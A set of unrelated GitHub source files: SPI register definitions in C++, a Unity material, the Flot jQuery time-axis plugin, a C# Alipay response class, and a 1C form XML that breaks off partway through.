Pin Control 0 enum class Spc0Val { v0=0x00000000, ///<SPI uses separate pins for data input and data output (pin mode is normal). In master mode of operation: MISO is master in and MOSI is master out. In slave mode of operation: MISO is slave out and MOSI is slave in. v1=0x00000001, ///<SPI configured for single-wire bidirectional operation (pin mode is bidirectional). In master mode of operation: MISO is not used by SPI; MOSI is master in when BIDIROE is 0 or master I/O when BIDIROE is 1. In slave mode of operation: MISO is slave in when BIDIROE is 0 or slave I/O when BIDIROE is 1; MOSI is not used by SPI. }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,Spc0Val> spc0{}; namespace Spc0ValC{ constexpr Register::FieldValue<decltype(spc0)::Type,Spc0Val::v0> v0{}; constexpr Register::FieldValue<decltype(spc0)::Type,Spc0Val::v1> v1{}; } ///SPI Stop in Wait Mode enum class SpiswaiVal { v0=0x00000000, ///<SPI clocks continue to operate in Wait mode. v1=0x00000001, ///<SPI clocks stop when the MCU enters Wait mode. }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,SpiswaiVal> spiswai{}; namespace SpiswaiValC{ constexpr Register::FieldValue<decltype(spiswai)::Type,SpiswaiVal::v0> v0{}; constexpr Register::FieldValue<decltype(spiswai)::Type,SpiswaiVal::v1> v1{}; } ///Receive DMA enable enum class RxdmaeVal { v0=0x00000000, ///<DMA request for receive is disabled and interrupt from SPRF is allowed v1=0x00000001, ///<DMA request for receive is enabled and interrupt from SPRF is disabled }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,RxdmaeVal> rxdmae{}; namespace RxdmaeValC{ constexpr Register::FieldValue<decltype(rxdmae)::Type,RxdmaeVal::v0> v0{}; constexpr Register::FieldValue<decltype(rxdmae)::Type,RxdmaeVal::v1> v1{}; } ///Bidirectional Mode Output Enable enum class BidiroeVal { v0=0x00000000, ///<Output driver disabled so SPI data I/O pin acts as an input v1=0x00000001, ///<SPI I/O pin enabled as an output }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,BidiroeVal> bidiroe{}; namespace BidiroeValC{ constexpr Register::FieldValue<decltype(bidiroe)::Type,BidiroeVal::v0> v0{}; constexpr Register::FieldValue<decltype(bidiroe)::Type,BidiroeVal::v1> v1{}; } ///Master Mode-Fault Function Enable enum class ModfenVal { v0=0x00000000, ///<Mode fault function disabled, master SS pin reverts to general-purpose I/O not controlled by SPI v1=0x00000001, ///<Mode fault function enabled, master SS pin acts as the mode fault input or the slave select output }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,ModfenVal> modfen{}; namespace ModfenValC{ constexpr Register::FieldValue<decltype(modfen)::Type,ModfenVal::v0> v0{}; constexpr Register::FieldValue<decltype(modfen)::Type,ModfenVal::v1> v1{}; } ///Transmit DMA enable enum class TxdmaeVal { v0=0x00000000, ///<DMA request for transmit is disabled and interrupt from SPTEF is allowed v1=0x00000001, ///<DMA request for transmit is enabled and interrupt from SPTEF is disabled }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,TxdmaeVal> txdmae{}; namespace TxdmaeValC{ constexpr Register::FieldValue<decltype(txdmae)::Type,TxdmaeVal::v0> v0{}; constexpr Register::FieldValue<decltype(txdmae)::Type,TxdmaeVal::v1> v1{}; } ///SPI 8-bit or 16-bit mode enum class SpimodeVal { v0=0x00000000, ///<8-bit SPI shift register, match register, and buffers v1=0x00000001, ///<16-bit SPI shift register, match register, and buffers }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,SpimodeVal> spimode{}; namespace SpimodeValC{ constexpr Register::FieldValue<decltype(spimode)::Type,SpimodeVal::v0> v0{}; constexpr Register::FieldValue<decltype(spimode)::Type,SpimodeVal::v1> v1{}; } ///SPI Match Interrupt Enable enum class SpmieVal { v0=0x00000000, ///<Interrupts from SPMF inhibited (use polling) v1=0x00000001, ///<When SPMF is 1, requests a hardware interrupt }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,SpmieVal> spmie{}; namespace SpmieValC{ constexpr Register::FieldValue<decltype(spmie)::Type,SpmieVal::v0> v0{}; constexpr Register::FieldValue<decltype(spmie)::Type,SpmieVal::v1> v1{}; } } namespace Spi0C1{ ///<SPI Control Register 1 using Addr = Register::Address<0x40076003,0xffffff00,0x00000000,unsigned char>; ///LSB First (shifter direction) enum class LsbfeVal { v0=0x00000000, ///<SPI serial data transfers start with the most significant bit. v1=0x00000001, ///<SPI serial data transfers start with the least significant bit. }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,LsbfeVal> lsbfe{}; namespace LsbfeValC{ constexpr Register::FieldValue<decltype(lsbfe)::Type,LsbfeVal::v0> v0{}; constexpr Register::FieldValue<decltype(lsbfe)::Type,LsbfeVal::v1> v1{}; } ///Slave Select Output Enable enum class SsoeVal { v0=0x00000000, ///<When C2[MODFEN] is 0: In master mode, SS pin function is general-purpose I/O (not SPI). In slave mode, SS pin function is slave select input. When C2[MODFEN] is 1: In master mode, SS pin function is SS input for mode fault. In slave mode, SS pin function is slave select input. v1=0x00000001, ///<When C2[MODFEN] is 0: In master mode, SS pin function is general-purpose I/O (not SPI). In slave mode, SS pin function is slave select input. When C2[MODFEN] is 1: In master mode, SS pin function is automatic SS output. In slave mode: SS pin function is slave select input. }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,SsoeVal> ssoe{}; namespace SsoeValC{ constexpr Register::FieldValue<decltype(ssoe)::Type,SsoeVal::v0> v0{}; constexpr Register::FieldValue<decltype(ssoe)::Type,SsoeVal::v1> v1{}; } ///Clock Phase enum class CphaVal { v0=0x00000000, ///<First edge on SPSCK occurs at the middle of the first cycle of a data transfer. v1=0x00000001, ///<First edge on SPSCK occurs at the start of the first cycle of a data transfer. }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,CphaVal> cpha{}; namespace CphaValC{ constexpr Register::FieldValue<decltype(cpha)::Type,CphaVal::v0> v0{}; constexpr Register::FieldValue<decltype(cpha)::Type,CphaVal::v1> v1{}; } ///Clock Polarity enum class CpolVal { v0=0x00000000, ///<Active-high SPI clock (idles low) v1=0x00000001, ///<Active-low SPI clock (idles high) }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,CpolVal> cpol{}; namespace CpolValC{ constexpr Register::FieldValue<decltype(cpol)::Type,CpolVal::v0> v0{}; constexpr Register::FieldValue<decltype(cpol)::Type,CpolVal::v1> v1{}; } ///Master/Slave Mode Select enum class MstrVal { v0=0x00000000, ///<SPI module configured as a slave SPI device v1=0x00000001, ///<SPI module configured as a master SPI device }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,MstrVal> mstr{}; namespace MstrValC{ constexpr Register::FieldValue<decltype(mstr)::Type,MstrVal::v0> v0{}; constexpr Register::FieldValue<decltype(mstr)::Type,MstrVal::v1> v1{}; } ///SPI Transmit Interrupt Enable enum class SptieVal { v0=0x00000000, ///<Interrupts from SPTEF inhibited (use polling) v1=0x00000001, ///<When SPTEF is 1, hardware interrupt requested }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,SptieVal> sptie{}; namespace SptieValC{ constexpr Register::FieldValue<decltype(sptie)::Type,SptieVal::v0> v0{}; constexpr Register::FieldValue<decltype(sptie)::Type,SptieVal::v1> v1{}; } ///SPI System Enable enum class SpeVal { v0=0x00000000, ///<SPI system inactive v1=0x00000001, ///<SPI system enabled }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,SpeVal> spe{}; namespace SpeValC{ constexpr Register::FieldValue<decltype(spe)::Type,SpeVal::v0> v0{}; constexpr Register::FieldValue<decltype(spe)::Type,SpeVal::v1> v1{}; } ///SPI Interrupt Enable: for SPRF and MODF (when FIFO is not supported or not enabled) or for read FIFO (when FIFO is supported and enabled) enum class SpieVal { v0=0x00000000, ///<Interrupts from SPRF and MODF are inhibited-use polling (when FIFOMODE is not present or is 0) or Read FIFO Full Interrupts are disabled (when FIFOMODE is 1) v1=0x00000001, ///<Request a hardware interrupt when SPRF or MODF is 1 (when FIFOMODE is not present or is 0) or Read FIFO Full Interrupts are enabled (when FIFOMODE is 1) }; constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,SpieVal> spie{}; namespace SpieValC{ constexpr Register::FieldValue<decltype(spie)::Type,SpieVal::v0> v0{}; constexpr Register::FieldValue<decltype(spie)::Type,SpieVal::v1> v1{}; } } namespace Spi0Ml{ ///<SPI Match Register low using Addr = Register::Address<0x40076004,0xffffff00,0x00000000,unsigned char>; ///Hardware compare value (low byte) constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,0),Register::ReadWriteAccess,unsigned> bits{}; } namespace Spi0Mh{ ///<SPI match register high using Addr = Register::Address<0x40076005,0xffffff00,0x00000000,unsigned char>; ///Hardware compare value (high byte) constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,0),Register::ReadWriteAccess,unsigned> bits{}; } namespace Spi0Dl{ ///<SPI Data Register low using Addr = Register::Address<0x40076006,0xffffff00,0x00000000,unsigned char>; ///Data (low byte) constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,0),Register::ReadWriteAccess,unsigned> bits{}; } namespace Spi0Dh{ ///<SPI data register high using Addr = Register::Address<0x40076007,0xffffff00,0x00000000,unsigned char>; ///Data (high byte) constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,0),Register::ReadWriteAccess,unsigned> bits{}; } }
{ "pile_set_name": "Github" }
const CLASS = { selected: 'dx-gallery-indicator-item-selected', }; export default class Indicator { element: Selector; isSelected: Promise<boolean>; constructor(element: Selector) { this.element = element; this.isSelected = element.hasClass(CLASS.selected); } }
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!21 &2100000 Material: serializedVersion: 6 m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 0} m_Name: outlet_DIF1 m_Shader: {fileID: 46, guid: 0000000000000000f000000000000000, type: 0} m_ShaderKeywords: _EMISSION _NORMALMAP m_LightmapFlags: 1 m_EnableInstancingVariants: 0 m_DoubleSidedGI: 0 m_CustomRenderQueue: -1 stringTagMap: {} disabledShaderPasses: [] m_SavedProperties: serializedVersion: 3 m_TexEnvs: - _BumpMap: m_Texture: {fileID: 2800000, guid: 91e5a65ac0969774ebce2e437348efe2, type: 3} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailAlbedoMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailMask: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _DetailNormalMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _EmissionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MainTex: m_Texture: {fileID: 2800000, guid: 35932de0a475b0d4aa633db3c5a5e947, type: 3} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _MetallicGlossMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _OcclusionMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} - _ParallaxMap: m_Texture: {fileID: 0} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} m_Floats: - _BumpScale: 1 - _Cutoff: 0.5 - _DetailNormalMapScale: 1 - _DstBlend: 0 - _GlossMapScale: 1 - _Glossiness: 0.729 - _GlossyReflections: 1 - _Metallic: 0 - _Mode: 0 - _OcclusionStrength: 1 - _Parallax: 0.02 - _SmoothnessTextureChannel: 0 - _SpecularHighlights: 1 - _SrcBlend: 1 - _UVSec: 0 - _ZWrite: 1 m_Colors: - _Color: {r: 0.75735295, g: 0.75735295, b: 0.75735295, a: 1} - _EmissionColor: {r: 0, g: 0, b: 0, a: 1}
{ "pile_set_name": "Github" }
/*============================================================================= Copyright (c) 2001-2007 Joel de Guzman Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) ==============================================================================*/ #if !defined(FUSION_INCLUDE_MPL) #define FUSION_INCLUDE_MPL #include <boost/fusion/support/config.hpp> #include <boost/fusion/adapted/mpl.hpp> #include <boost/fusion/mpl.hpp> #endif
{ "pile_set_name": "Github" }
using Newtonsoft.Json; namespace Alipay.AopSdk.Core.Response { /// <summary> /// AlipayEcardEduPublicBindResponse. /// </summary> public class AlipayEcardEduPublicBindResponse : AopResponse { /// <summary> /// 机构编码 /// </summary> [JsonProperty("agent_code")] public string AgentCode { get; set; } /// <summary> /// 卡号 /// </summary> [JsonProperty("card_no")] public string CardNo { get; set; } /// <summary> /// 成功 /// </summary> [JsonProperty("return_code")] public string ReturnCode { get; set; } } }
{ "pile_set_name": "Github" }
.alert { background-color: #c4453c; color: #f6f6f6; display: block; font: bold 16px/40px sans-serif; height: 40px; position: absolute; text-align: center; text-decoration: none; top: -45px; width: 100%; }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <configuration> <runtime> <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> <dependentAssembly> <assemblyIdentity name="SkiaSharp" publicKeyToken="0738eb9f132ed756" culture="neutral" /> <bindingRedirect oldVersion="0.0.0.0-1.60.0.0" newVersion="1.60.0.0" /> </dependentAssembly> </assemblyBinding> </runtime> </configuration>
{ "pile_set_name": "Github" }
/* Pretty handling of time axes. Copyright (c) 2007-2013 IOLA and Ole Laursen. Licensed under the MIT license. Set axis.mode to "time" to enable. See the section "Time series data" in API.txt for details. */ (function($) { var options = { xaxis: { timezone: null, // "browser" for local to the client or timezone for timezone-js timeformat: null, // format string to use twelveHourClock: false, // 12 or 24 time in time mode monthNames: null // list of names of months } }; // round to nearby lower multiple of base function floorInBase(n, base) { return base * Math.floor(n / base); } // Returns a string with the date d formatted according to fmt. // A subset of the Open Group's strftime format is supported. function formatDate(d, fmt, monthNames, dayNames) { if (typeof d.strftime == "function") { return d.strftime(fmt); } var leftPad = function(n, pad) { n = "" + n; pad = "" + (pad == null ? "0" : pad); return n.length == 1 ? pad + n : n; }; var r = []; var escape = false; var hours = d.getHours(); var isAM = hours < 12; if (monthNames == null) { monthNames = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]; } if (dayNames == null) { dayNames = ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"]; } var hours12; if (hours > 12) { hours12 = hours - 12; } else if (hours == 0) { hours12 = 12; } else { hours12 = hours; } for (var i = 0; i < fmt.length; ++i) { var c = fmt.charAt(i); if (escape) { switch (c) { case 'a': c = "" + dayNames[d.getDay()]; break; case 'b': c = "" + monthNames[d.getMonth()]; break; case 'd': c = leftPad(d.getDate()); break; case 'e': c = leftPad(d.getDate(), " "); break; case 'h': // For back-compat with 0.7; remove in 1.0 case 'H': c = leftPad(hours); break; case 'I': c = leftPad(hours12); break; case 'l': c = leftPad(hours12, " "); break; case 'm': c = leftPad(d.getMonth() + 1); break; case 'M': c = leftPad(d.getMinutes()); break; // quarters not in Open Group's strftime specification case 'q': c = "" + (Math.floor(d.getMonth() / 3) + 1); break; case 'S': c = leftPad(d.getSeconds()); break; case 'y': c = leftPad(d.getFullYear() % 100); break; case 'Y': c = "" + d.getFullYear(); break; case 'p': c = (isAM) ? ("" + "am") : ("" + "pm"); break; case 'P': c = (isAM) ? ("" + "AM") : ("" + "PM"); break; case 'w': c = "" + d.getDay(); break; } r.push(c); escape = false; } else { if (c == "%") { escape = true; } else { r.push(c); } } } return r.join(""); } // To have a consistent view of time-based data independent of which time // zone the client happens to be in we need a date-like object independent // of time zones. This is done through a wrapper that only calls the UTC // versions of the accessor methods. function makeUtcWrapper(d) { function addProxyMethod(sourceObj, sourceMethod, targetObj, targetMethod) { sourceObj[sourceMethod] = function() { return targetObj[targetMethod].apply(targetObj, arguments); }; }; var utc = { date: d }; // support strftime, if found if (d.strftime != undefined) { addProxyMethod(utc, "strftime", d, "strftime"); } addProxyMethod(utc, "getTime", d, "getTime"); addProxyMethod(utc, "setTime", d, "setTime"); var props = ["Date", "Day", "FullYear", "Hours", "Milliseconds", "Minutes", "Month", "Seconds"]; for (var p = 0; p < props.length; p++) { addProxyMethod(utc, "get" + props[p], d, "getUTC" + props[p]); addProxyMethod(utc, "set" + props[p], d, "setUTC" + props[p]); } return utc; }; // select time zone strategy. This returns a date-like object tied to the // desired timezone function dateGenerator(ts, opts) { if (opts.timezone == "browser") { return new Date(ts); } else if (!opts.timezone || opts.timezone == "utc") { return makeUtcWrapper(new Date(ts)); } else if (typeof timezoneJS != "undefined" && typeof timezoneJS.Date != "undefined") { var d = new timezoneJS.Date(); // timezone-js is fickle, so be sure to set the time zone before // setting the time. d.setTimezone(opts.timezone); d.setTime(ts); return d; } else { return makeUtcWrapper(new Date(ts)); } } // map of app. size of time units in milliseconds var timeUnitSize = { "second": 1000, "minute": 60 * 1000, "hour": 60 * 60 * 1000, "day": 24 * 60 * 60 * 1000, "month": 30 * 24 * 60 * 60 * 1000, "quarter": 3 * 30 * 24 * 60 * 60 * 1000, "year": 365.2425 * 24 * 60 * 60 * 1000 }; // the allowed tick sizes, after 1 year we use // an integer algorithm var baseSpec = [ [1, "second"], [2, "second"], [5, "second"], [10, "second"], [30, "second"], [1, "minute"], [2, "minute"], [5, "minute"], [10, "minute"], [30, "minute"], [1, "hour"], [2, "hour"], [4, "hour"], [8, "hour"], [12, "hour"], [1, "day"], [2, "day"], [3, "day"], [0.25, "month"], [0.5, "month"], [1, "month"], [2, "month"] ]; // we don't know which variant(s) we'll need yet, but generating both is // cheap var specMonths = baseSpec.concat([[3, "month"], [6, "month"], [1, "year"]]); var specQuarters = baseSpec.concat([[1, "quarter"], [2, "quarter"], [1, "year"]]); function init(plot) { plot.hooks.processOptions.push(function (plot, options) { $.each(plot.getAxes(), function(axisName, axis) { var opts = axis.options; if (opts.mode == "time") { axis.tickGenerator = function(axis) { var ticks = []; var d = dateGenerator(axis.min, opts); var minSize = 0; // make quarter use a possibility if quarters are // mentioned in either of these options var spec = (opts.tickSize && opts.tickSize[1] === "quarter") || (opts.minTickSize && opts.minTickSize[1] === "quarter") ? specQuarters : specMonths; if (opts.minTickSize != null) { if (typeof opts.tickSize == "number") { minSize = opts.tickSize; } else { minSize = opts.minTickSize[0] * timeUnitSize[opts.minTickSize[1]]; } } for (var i = 0; i < spec.length - 1; ++i) { if (axis.delta < (spec[i][0] * timeUnitSize[spec[i][1]] + spec[i + 1][0] * timeUnitSize[spec[i + 1][1]]) / 2 && spec[i][0] * timeUnitSize[spec[i][1]] >= minSize) { break; } } var size = spec[i][0]; var unit = spec[i][1]; // special-case the possibility of several years if (unit == "year") { // if given a minTickSize in years, just use it, // ensuring that it's an integer if (opts.minTickSize != null && opts.minTickSize[1] == "year") { size = Math.floor(opts.minTickSize[0]); } else { var magn = Math.pow(10, Math.floor(Math.log(axis.delta / timeUnitSize.year) / Math.LN10)); var norm = (axis.delta / timeUnitSize.year) / magn; if (norm < 1.5) { size = 1; } else if (norm < 3) { size = 2; } else if (norm < 7.5) { size = 5; } else { size = 10; } size *= magn; } // minimum size for years is 1 if (size < 1) { size = 1; } } axis.tickSize = opts.tickSize || [size, unit]; var tickSize = axis.tickSize[0]; unit = axis.tickSize[1]; var step = tickSize * timeUnitSize[unit]; if (unit == "second") { d.setSeconds(floorInBase(d.getSeconds(), tickSize)); } else if (unit == "minute") { d.setMinutes(floorInBase(d.getMinutes(), tickSize)); } else if (unit == "hour") { d.setHours(floorInBase(d.getHours(), tickSize)); } else if (unit == "month") { d.setMonth(floorInBase(d.getMonth(), tickSize)); } else if (unit == "quarter") { d.setMonth(3 * floorInBase(d.getMonth() / 3, tickSize)); } else if (unit == "year") { d.setFullYear(floorInBase(d.getFullYear(), tickSize)); } // reset smaller components d.setMilliseconds(0); if (step >= timeUnitSize.minute) { d.setSeconds(0); } if (step >= timeUnitSize.hour) { d.setMinutes(0); } if (step >= timeUnitSize.day) { d.setHours(0); } if (step >= timeUnitSize.day * 4) { d.setDate(1); } if (step >= timeUnitSize.month * 2) { d.setMonth(floorInBase(d.getMonth(), 3)); } if (step >= timeUnitSize.quarter * 2) { d.setMonth(floorInBase(d.getMonth(), 6)); } if (step >= timeUnitSize.year) { d.setMonth(0); } var carry = 0; var v = Number.NaN; var prev; do { prev = v; v = d.getTime(); ticks.push(v); if (unit == "month" || unit == "quarter") { if (tickSize < 1) { // a bit complicated - we'll divide the // month/quarter up but we need to take // care of fractions so we don't end up in // the middle of a day d.setDate(1); var start = d.getTime(); d.setMonth(d.getMonth() + (unit == "quarter" ? 3 : 1)); var end = d.getTime(); d.setTime(v + carry * timeUnitSize.hour + (end - start) * tickSize); carry = d.getHours(); d.setHours(0); } else { d.setMonth(d.getMonth() + tickSize * (unit == "quarter" ? 3 : 1)); } } else if (unit == "year") { d.setFullYear(d.getFullYear() + tickSize); } else { d.setTime(v + step); } } while (v < axis.max && v != prev); return ticks; }; axis.tickFormatter = function (v, axis) { var d = dateGenerator(v, axis.options); // first check global format if (opts.timeformat != null) { return formatDate(d, opts.timeformat, opts.monthNames, opts.dayNames); } // possibly use quarters if quarters are mentioned in // any of these places var useQuarters = (axis.options.tickSize && axis.options.tickSize[1] == "quarter") || (axis.options.minTickSize && axis.options.minTickSize[1] == "quarter"); var t = axis.tickSize[0] * timeUnitSize[axis.tickSize[1]]; var span = axis.max - axis.min; var suffix = (opts.twelveHourClock) ? " %p" : ""; var hourCode = (opts.twelveHourClock) ? "%I" : "%H"; var fmt; if (t < timeUnitSize.minute) { fmt = hourCode + ":%M:%S" + suffix; } else if (t < timeUnitSize.day) { if (span < 2 * timeUnitSize.day) { fmt = hourCode + ":%M" + suffix; } else { fmt = "%b %d " + hourCode + ":%M" + suffix; } } else if (t < timeUnitSize.month) { fmt = "%b %d"; } else if ((useQuarters && t < timeUnitSize.quarter) || (!useQuarters && t < timeUnitSize.year)) { if (span < timeUnitSize.year) { fmt = "%b"; } else { fmt = "%b %Y"; } } else if (useQuarters && t < timeUnitSize.year) { if (span < timeUnitSize.year) { fmt = "Q%q"; } else { fmt = "Q%q %Y"; } } else { fmt = "%Y"; } var rt = formatDate(d, fmt, opts.monthNames, opts.dayNames); return rt; }; } }); }); } $.plot.plugins.push({ init: init, options: options, name: 'time', version: '1.0' }); // Time-axis support used to be in Flot core, which exposed the // formatDate function on the plot object. Various plugins depend // on the function, so we need to re-expose it here. $.plot.formatDate = formatDate; })(jQuery);
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <Form xmlns="http://v8.1c.ru/8.3/xcf/logform" xmlns:app="http://v8.1c.ru/8.2/managed-application/core" xmlns:cfg="http://v8.1c.ru/8.1/data/enterprise/current-config" xmlns:dcscor="http://v8.1c.ru/8.1/data-composition-system/core" xmlns:dcsset="http://v8.1c.ru/8.1/data-composition-system/settings" xmlns:ent="http://v8.1c.ru/8.1/data/enterprise" xmlns:lf="http://v8.1c.ru/8.2/managed-application/logform" xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:v8="http://v8.1c.ru/8.1/data/core" xmlns:v8ui="http://v8.1c.ru/8.1/data/ui" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows" xmlns:xr="http://v8.1c.ru/8.3/xcf/readable" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.10"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Файлы в томе</v8:content> </v8:item> </Title> <AutoTitle>false</AutoTitle> <MobileDeviceCommandBarContent> <xr:Item> <xr:Presentation/> <xr:CheckState>0</xr:CheckState> <xr:Value xsi:type="xs:string">КоманднаяПанель</xr:Value> </xr:Item> </MobileDeviceCommandBarContent> <AutoCommandBar name="ФормаКоманднаяПанель" id="-1"> <Autofill>false</Autofill> </AutoCommandBar> <Events> <Event name="OnCreateAtServer">ПриСозданииНаСервере</Event> </Events> <ChildItems> <InputField name="ПредставлениеХранилищаФайлов" id="9"> <DataPath>ПредставлениеХранилищаФайлов</DataPath> <ChoiceButton>true</ChoiceButton> <TextEdit>false</TextEdit> <ContextMenu name="ПредставлениеХранилищаФайловКонтекстноеМеню" id="10"/> <ExtendedTooltip name="ПредставлениеХранилищаФайловExtendedTooltip" id="22"/> <Events> <Event name="StartChoice">ПредставлениеХранилищаФайловНачалоВыбора</Event> </Events> </InputField> <UsualGroup name="ГруппаПользовательскихНастроек" id="30"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Группа пользовательских настроек</v8:content> </v8:item> </Title> <Group>Vertical</Group> <ShowTitle>false</ShowTitle> <ExtendedTooltip name="ГруппаПользовательскихНастроекРасширеннаяПодсказка" id="31"/> </UsualGroup> <CommandBar name="КоманднаяПанель" id="32"> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Командная панель</v8:content> </v8:item> </Title> <CommandSource>Form</CommandSource> <ExtendedTooltip name="КоманднаяПанельРасширеннаяПодсказка" id="33"/> </CommandBar> <Table name="Список" id="11"> <Representation>List</Representation> <ChangeRowSet>false</ChangeRowSet> <ChangeRowOrder>false</ChangeRowOrder> <Height>8</Height> <UseAlternationRowColor>true</UseAlternationRowColor> <AutoInsertNewRow>true</AutoInsertNewRow> <EnableStartDrag>true</EnableStartDrag> <EnableDrag>true</EnableDrag> <FileDragMode>AsFile</FileDragMode> <DataPath>Список</DataPath> <RowPictureDataPath>Список.ИндексКартинки</RowPictureDataPath> <RowsPicture> <xr:Ref>CommonPicture.КоллекцияПиктограммФайлов</xr:Ref> <xr:LoadTransparent>false</xr:LoadTransparent> </RowsPicture> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Список</v8:content> </v8:item> </Title> <CommandSet> <ExcludedCommand>CancelSearch</ExcludedCommand> <ExcludedCommand>Find</ExcludedCommand> </CommandSet> <SearchStringLocation>None</SearchStringLocation> <ViewStatusLocation>None</ViewStatusLocation> <SearchControlLocation>None</SearchControlLocation> <AutoRefresh>false</AutoRefresh> <AutoRefreshPeriod>60</AutoRefreshPeriod> <Period> <v8:variant xsi:type="v8:StandardPeriodVariant">Custom</v8:variant> <v8:startDate>0001-01-01T00:00:00</v8:startDate> <v8:endDate>0001-01-01T00:00:00</v8:endDate> </Period> <ChoiceFoldersAndItems>Items</ChoiceFoldersAndItems> <RestoreCurrentRow>false</RestoreCurrentRow> <TopLevelParent xsi:nil="true"/> <ShowRoot>true</ShowRoot> <AllowRootChoice>false</AllowRootChoice> <UpdateOnDataChange>Auto</UpdateOnDataChange> <UserSettingsGroup>ГруппаПользовательскихНастроек</UserSettingsGroup> <ContextMenu name="СписокКонтекстноеМеню" id="12"/> <AutoCommandBar name="СписокКоманднаяПанель" id="13"> <Autofill>false</Autofill> </AutoCommandBar> <ExtendedTooltip name="СписокРасширеннаяПодсказка" id="23"/> <SearchStringAddition name="СписокSearchString" id="34"> <AdditionSource> <Item>Список</Item> <Type>SearchStringRepresentation</Type> </AdditionSource> <ContextMenu name="СписокSearchStringContextMenu" id="35"/> <ExtendedTooltip name="СписокSearchStringExtendedTooltip" id="36"/> </SearchStringAddition> <ViewStatusAddition name="СписокViewStatus" id="37"> <AdditionSource> <Item>Список</Item> <Type>ViewStatusRepresentation</Type> </AdditionSource> <ContextMenu name="СписокViewStatusContextMenu" id="38"/> <ExtendedTooltip name="СписокViewStatusExtendedTooltip" id="39"/> </ViewStatusAddition> <SearchControlAddition name="СписокSearchControl" id="40"> <AdditionSource> <Item>Список</Item> <Type>SearchControl</Type> </AdditionSource> <ContextMenu name="СписокSearchControlContextMenu" id="41"/> <ExtendedTooltip name="СписокSearchControlExtendedTooltip" id="42"/> </SearchControlAddition> <Events> <Event name="Selection">СписокВыбор</Event> <Event name="BeforeRowChange">СписокПередНачаломИзменения</Event> </Events> <ChildItems> <LabelField name="СписокПутьКФайлу" id="18"> <DataPath>Список.ПутьКФайлу</DataPath> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Путь к файлу в томе</v8:content> </v8:item> </Title> <ToolTip> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Путь к файлу в томе (в пределах пути к тому)</v8:content> </v8:item> </ToolTip> <Width>35</Width> <ContextMenu name="СписокПутьКФайлуКонтекстноеМеню" id="19"/> <ExtendedTooltip name="СписокПутьКФайлуРасширеннаяПодсказка" id="24"/> </LabelField> <LabelField name="СписокРазмер" id="20"> <DataPath>Список.Размер</DataPath> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Размер</v8:content> </v8:item> </Title> <Width>13</Width> <ContextMenu name="СписокРазмерКонтекстноеМеню" id="21"/> <ExtendedTooltip name="СписокРазмерРасширеннаяПодсказка" id="25"/> </LabelField> <LabelField name="СписокАвтор" id="14"> <DataPath>Список.Автор</DataPath> <Title> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Автор</v8:content> </v8:item> </Title> <Width>20</Width> <ContextMenu name="СписокАвторКонтекстноеМеню" id="15"/> <ExtendedTooltip 